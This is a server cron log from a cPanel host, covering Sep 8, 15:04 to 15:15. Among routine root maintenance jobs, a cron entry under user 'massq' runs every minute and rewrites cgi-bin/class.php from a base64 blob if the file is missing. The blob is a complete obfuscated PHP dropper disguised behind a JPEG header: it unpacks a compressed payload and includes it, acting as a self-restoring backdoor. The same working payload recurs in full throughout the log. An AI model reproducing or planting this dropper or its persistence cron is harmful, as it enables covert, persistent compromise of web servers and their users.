Sep  8 15:04:01 server CROND[1653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:04:01 server CROND[1654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:05:01 server CROND[2177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:05:01 server CROND[2178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:05:01 server CROND[2181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:05:01 server CROND[2182]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 15:05:01 server CROND[2180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:05:01 server CROND[2184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:05:01 server CROND[2186]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:05:01 server CROND[2183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:06:01 server CROND[3086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:06:01 server CROND[3087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:06:01 server CROND[3088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:07:01 server CROND[3469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:07:01 server CROND[3470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:07:01 server CROND[3471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:08:01 server CROND[3848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:08:01 server CROND[3849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:08:01 server CROND[3850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:09:02 server CROND[4243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:09:02 server CROND[4244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:09:02 server CROND[4245]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 15:09:02 server CROND[4246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:10:01 server CROND[4741]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:10:01 server CROND[4742]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:10:01 server CROND[4745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:10:01 server CROND[4749]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:10:01 server CROND[4750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:10:01 server CROND[4747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:10:01 server CROND[4746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:10:01 server CROND[4748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:11:01 server CROND[5598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:11:02 server CROND[5599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:11:02 server CROND[5600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:12:01 server CROND[5975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:12:01 server CROND[5976]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 15:12:01 server CROND[5977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:12:01 server CROND[5978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:13:01 server CROND[6377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:13:01 server CROND[6378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:13:01 server CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:14:01 server CROND[6832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:14:01 server CROND[6833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:14:01 server CROND[6843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:15:01 server CROND[7224]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:15:01 server CROND[7225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:15:01 server CROND[7227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:15:01 server CROND[7230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:15:01 server CROND[7233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:15:01 server CROND[7234]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
